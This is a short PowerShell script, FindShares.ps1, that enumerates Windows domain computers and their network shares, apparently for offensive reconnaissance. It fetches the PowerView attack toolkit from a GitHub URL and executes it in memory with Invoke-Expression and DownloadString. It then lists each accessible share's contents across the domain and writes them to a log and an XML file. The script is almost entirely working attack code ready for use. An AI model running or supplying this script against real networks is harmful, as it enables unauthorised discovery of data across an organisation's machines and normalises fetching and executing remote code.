Uses PowerView (active download) to get all the domain computers and try to access the shares.

FindShares.ps1

$host_filter  = '^C|^T'
$share_filter = 'IPC$'
$depends_url  = "https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1"
$logfile      = "foundshares.log"
$serialobj    = $("{0}.xml" -f $logfile)

$DebugPreference = "Continue"
#$DebugPreference = "SilentlyContinue"

#Import dependency
Invoke-Expression (New-Object System.Net.WebClient).DownloadString($depends_url)

Write-Debug $("[+] Getting machines from Active Directory, please standby...")
$computers = Get-NetComputer

Write-Debug $("[+] Filtering machine list, one more moment please...")
$filtered_computers = ($computers |? {$_ -inotmatch $host_filter})

$result = @()
Write-Debug $("[+] Let the games begin")
foreach ($computer in $filtered_computers) {
    Write-Debug $("[+] Checking machine: {0}" -f $computer)
    $shares = (Get-NetShare $computer -ErrorAction SilentlyContinue)
    $filtered_shares = ($shares |? {$_ -inotmatch $share_filter})
    
    foreach ($share in ($filtered_shares|?{$_ -ne $null})) {
        Write-Debug $("[+-] Share: {0}" -f $share.shi1_netname)
        $out = (gci $("\\{0}\{1}" -f $computer, $share.shi1_netname) -ErrorAction SilentlyContinue)
        if ($out -ne $null)
        {
            $out | Out-String | Out-File -Append -FilePath $logfile
            $out | Out-String | Write-Host
            #Export the object for further processing.
            $result += $out    
            $result | Export-Clixml $serialobj -Force
        }
    }
}